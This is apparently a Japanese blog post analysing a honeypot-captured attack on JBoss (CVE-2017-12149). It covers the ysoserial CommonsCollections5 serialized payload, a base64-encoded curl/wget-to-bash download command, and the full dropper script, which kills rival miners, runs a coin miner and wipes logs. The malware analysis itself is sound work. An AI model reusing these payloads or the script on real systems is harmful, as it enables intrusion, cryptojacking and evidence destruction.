Javaの安全でないデシリアライゼーションを狙った攻撃を観察する
私が運用しているハニーポットで「安全でないデシリアライゼーション (Insecure Deserialization)」を狙った攻撃を確認しました。
「安全でないデシリアライゼーション」はCTFでは頻繁に出題されますが、ハニーポットで観測するのは比較的珍しく、それもPHPではなくJavaのシリアライズオブジェクトを使用した攻撃は更に珍しいため、ここで紹介します。
安全でないデシリアライゼーション(Insecure Deserialization)とは
2017年版のOWASP Top10にもランクインしているWebアプリケーションのリスクです。
詳しい説明は以下の資料、サイトを参照ください。
OWASP Top 10 - 2017 A8:2017-安全でないデシリアライゼーション
攻撃データ
今回攻撃を受けたリクエストURLは/invoker/readonly
です。HTTPメソッドはPOSTです。
検索すると、どうやらJava EEアプリケーションサーバのJBossの脆弱性であるCVE-2017-12149
を狙った攻撃と推測できます。
vulhub/jboss/CVE-2017-12149 at master · vulhub/vulhub · GitHub
CVE-2017-12149 Exploited in Wild | Praveen's Blogspot
リクエストボディを見てみます。
¬í..sr..javax.management.BadAttributeValueExpExceptionÔçÚ«c-F@...L..valt..Ljava/lang/Object;xr..java.lang.ExceptionÐý.>.;.Ä...xr..java.lang.ThrowableÕÆ5'9w¸Ë...L..causet..Ljava/lang/Throwable;L. detailMessaget..Ljava/lang/String;[. stackTracet..[Ljava/lang/StackTraceElement;L..suppressedExceptionst..Ljava/util/List;xpq.~..pur..[Ljava.lang.StackTraceElement;.F*<<ý"9...xp....sr..java.lang.StackTraceElementa Å.&6Ý....I. lineNumberL..declaringClassq.~..L..fileNameq.~..L. methodNameq.~..xp...St.&ysoserial.payloads.CommonsCollections5t..CommonsCollections5.javat. getObjectsq.~.....5q.~. q.~..q.~..sq.~....."t..ysoserial.GeneratePayloadt..GeneratePayload.javat..mainsr.&java.util.Collections$UnmodifiableListü.%1µì.....L..listq.~..xr.,java.util.Collections$UnmodifiableCollection.B..Ë^÷....L..ct..Ljava/util/Collection;xpsr..java.util.ArrayListx.Ò..Ça....I..sizexp....w.....xq.~..xsr.4org.apache.commons.collections.keyvalue.TiedMapEntry..Ò.9Á.Û...L..keyq.~..L..mapt..Ljava/util/Map;xpt..foosr.*org.apache.commons.collections.map.LazyMapnå...y.....L..factoryt.,Lorg/apache/commons/collections/Transformer;xpsr.:org.apache.commons.collections.functors.ChainedTransformer0Ç.ì(z.....[. iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;½V*ñØ4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A.±....L. iConstantq.~..xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer.èÿk{|Î8...[..iArgst..[Ljava/lang/Object;L..iMethodNameq.~..[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;.ÎX..s)l...xp....t. getRuntimeur..[Ljava.lang.Class;«.×®ËÍZ....xp....t. getMethoduq.~.2....vr..java.lang.String ð¤8z;³B...xpvq.~.2sq.~.+uq.~./....puq.~./....t..invokeuq.~.2....vr..java.lang.Object...........xpvq.~./sq.~.+ur..[Ljava.lang.String;.ÒVçé.{G...xp....t..bash -c {echo,KGN1cmwgLWZzU0wgaHR0cDovL3l4YXJzaC5zaG9wLzMuanBnfHx3Z2V0IC1xIC1PLSBodHRwOi8veXhhcnNoLnNob3AvMy5qcGcpfGJhc2ggLXNo}|{base64,-d}|{bash,-i}t..execuq.~.2....q.~.7sq.~.'sr..java.lang.Integer.â ¤÷..8...I..valuexr..java.lang.Number.¬....à....xp....sr..java.util.HashMap..ÚÁÃ.`Ñ...F. loadFactorI. thresholdxp?@......w.........xx
バイナリデータですが、Printableの部分を観察すると興味深い文字列が見られます。以下に抜粋します。
ysoserial.payloads.CommonsCollections5
bash -c {echo,KGN1cmwgLWZzU0wgaHR0cDovL3l4YXJzaC5zaG9wLzMuanBnfHx3Z2V0IC1xIC1PLSBodHRwOi8veXhhcnNoLnNob3AvMy5qcGcpfGJhc2ggLXNo}|{base64,-d}|{bash,-i}
それぞれ見ていきます。
ysoserialとは
ysoserialとは、安全でないデシリアライゼーションを悪用し任意のコードを実行するための、Javaのシリアライズオブジェクトを生成するツールです。
github.com
CommonsCollections5クラスのソースは以下にあります。
ysoserial/CommonsCollections5.java at master · frohoff/ysoserial · GitHub
CommonsCollections5クラスは、Runtimeクラスのexecメソッドを使用して任意のOSコマンドを実行するための、シリアライズオブジェクトを生成できるようです。
なお、ysoserialは当ブログでも過去のCTFのWriteupに登場しています。
graneed.hatenablog.com
何が実行されるのか
ysoserialのCommonsCollections5で生成したシリアライズオブジェクトで実行されるのは以下のコマンドです。
bash -c {echo,KGN1cmwgLWZzU0wgaHR0cDovL3l4YXJzaC5zaG9wLzMuanBnfHx3Z2V0IC1xIC1PLSBodHRwOi8veXhhcnNoLnNob3AvMy5qcGcpfGJhc2ggLXNo}|{base64,-d}|{bash,-i}
BASE64デコードします。
(curl -fsSL hxxp://yxarsh[dot]shop/3.jpg||wget -q -O- hxxp://yxarsh[dot]shop/3.jpg)|bash -sh
curlまたはwgetを使用して3.jpg
を取得してbashに流し込むコードです。
拡張子はjpgですが画像ではなくシェルスクリプトなのでしょう。
実際に3.jpg
をダウンロードしてみます。
# curl hxxp://yxarsh[dot]shop/3.jpg #!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function b() { pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm -rf /tmp/a7b104c270 pkill -f kworkerds pkill -f biosetjenkins pkill -f AnXqV.yam pkill -f xmrigDaemon pkill -f xmrigMiner pkill -f xmrig pkill -f Loopback pkill -f apaceha pkill -f cryptonight pkill -f stratum pkill -f mixnerdx pkill -f performedl pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f minexmr pkill -f XJnRj pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi pkill -f irqbalanc1 pkill -f minerd pkill -f i586 pkill -f gddr pkill -f mstxmr pkill -f ddg.2011 pkill -f wnTKYg pkill -f deamon pkill -f disk_genius pkill -f sourplum pkill -f bashx pkill -f bashg pkill -f bashe pkill -f bashf pkill -f bashh pkill -f XbashY pkill -f libapache pkill -f qW3xT.2 pkill -f /usr/bin/.sshd pkill -f sustes pkill -f Xbash rm -rf /var/tmp/j* rm -rf /tmp/j* rm -rf /var/tmp/java rm -rf /tmp/java rm -rf /var/tmp/java2 rm -rf /tmp/java2 rm -rf /var/tmp/java* rm -rf /tmp/java* rm -rf /tmp/httpd.conf rm -rf /tmp/conn rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-* chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3 chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "watchbog" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9 netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :56415 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 } function d() { chattr -i /tmp/r1x (curl -fsSL --connect-timeout 120 hxxp://yxarsh[dot]shop/364 -o /tmp/r1x||wget hxxp://yxarsh[dot]shop/364 -O /tmp/r1x) chmod +x /tmp/r1x /tmp/r1x } b d echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron #
大きく分けて以下の3つの処理を実行することがわかります。
- function b:ファイル、プロセスのkill
- function d:実行ファイルのダウンロードおよび実行
- ログの削除
function bでは、様々なファイルの削除、プロセス名指定によるkill、特定ポートの通信をしているプロセスのkillを行っています。 名前をキーにいくつか調べてみると別のマルウェアやコインマイナーのようです。2019年1月のJSAC(Japan Security Analyst Conference)でLACの西部氏が発表されていた内容と合致します。
公開サーバを狙った仮想通貨の採掘を強要する攻撃について
攻撃者同士でサーバリソースの取り合いに必死なようです。
次にfunction dでは実行ファイルのダウンロードおよび実行をしています。また、地味にchattr -i
でファイル削除を抑止しているのがいやらしいです。別の攻撃者にファイルを消されないように抵抗しているのでしょう。
攻撃者同士でサーバリソースの取り合いに必死なようです。(2回目)
なお、ダウンロードされる実行ファイルをVirusTotalで検索すると、コインマイナーと判定されます。 https://www.virustotal.com/ja/file/13f85ac5f79e0a054af431aef59de92b6a7793cbf2e28d491d1bf6c873441b73/analysis/
ハニーポット5大厄災の1つですね。
まとめ
ysoserialを使用した「安全でないデシリアライゼーション (Insecure Deserialization)」を狙った攻撃を観察しました。
ysoserialはこれまでCTFでしか見たことが無かったですが、攻撃者にも活用されていることを肌で感じました。
(ysoserialのREADME.mdにはこう書いてあるんですけどね・・・。)
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
また、最終的にはコインマイナーの実行が狙いとわかり、それ自体は珍しい話ではありませんでしたが、攻撃者同士でサーバリソースを奪い合う具体的な方法を観察できた点は興味深い結果でした。
おまけ
hxxp://yxarsh[dot]shop/364
以外にも、数字のファイル名がありそうです。
# for i in $(seq 0 1000); do wget hxxp://yxarsh[dot]shop/$i; done (snip) # ll total 5412 drwxr-xr-x 2 root root 4096 Apr 6 02:10 ./ drwx------ 5 root root 4096 Apr 6 02:10 ../ -rw-r--r-- 1 root root 87 Feb 18 16:00 1 -rw-r--r-- 1 root root 9498 Feb 5 11:51 162 -rw-r--r-- 1 root root 212784 Mar 8 13:51 163 -rw-r--r-- 1 root root 824072 Feb 7 12:42 164 -rw-r--r-- 1 root root 212784 Mar 8 13:51 263 -rw-r--r-- 1 root root 871268 Mar 10 21:39 264 -rw-r--r-- 1 root root 1916044 Mar 30 22:43 265 -rw-r--r-- 1 root root 871268 Mar 10 21:39 364 -rw-r--r-- 1 root root 33 Mar 10 21:40 5 -rw-r--r-- 1 root root 594788 Jan 16 17:31 64 # file * 1: ASCII text 162: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a1b7f5d78f28b3d80c801f134bfe1d0ce14c8568, not stripped 163: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped 164: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped 263: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped 264: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped 265: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped 364: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped 5: ASCII text 64: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped # sha256sum * 3e29ca6ac7e2e02ac16dfda6d58cd873ca1c4890a23c517e81ae873f8ac6ab7b 1 b932de91eab340949f77863accd613ef02b4cb66b515812897a05732fe39e173 162 d9f2a7aab005a6e80060a67743aa8b63a87bb1556e5709bc1459681df7d3d1ad 163 99eac07c8692dc9c8292a2dcbe36250f0c9d1539a067cacb0da166baa04fdd17 164 d9f2a7aab005a6e80060a67743aa8b63a87bb1556e5709bc1459681df7d3d1ad 263 13f85ac5f79e0a054af431aef59de92b6a7793cbf2e28d491d1bf6c873441b73 264 ca58b977f0562f6a689db3334e55f517d7f7960d8349844b6635b4d5ff4771d4 265 13f85ac5f79e0a054af431aef59de92b6a7793cbf2e28d491d1bf6c873441b73 364 3d411b60d1aa435011c05925e748ed78a7dc201a72ecb6ac6aca0bc169429763 5 d9390bbbc6e399a388ac6ed601db4406eeb708f3893a40f88346ee002398955c 64
実行ファイルをVirusTotalで調べてみましたが、全てマリシャス判定されると思ったら、そうでもなかったです。
なんだろう。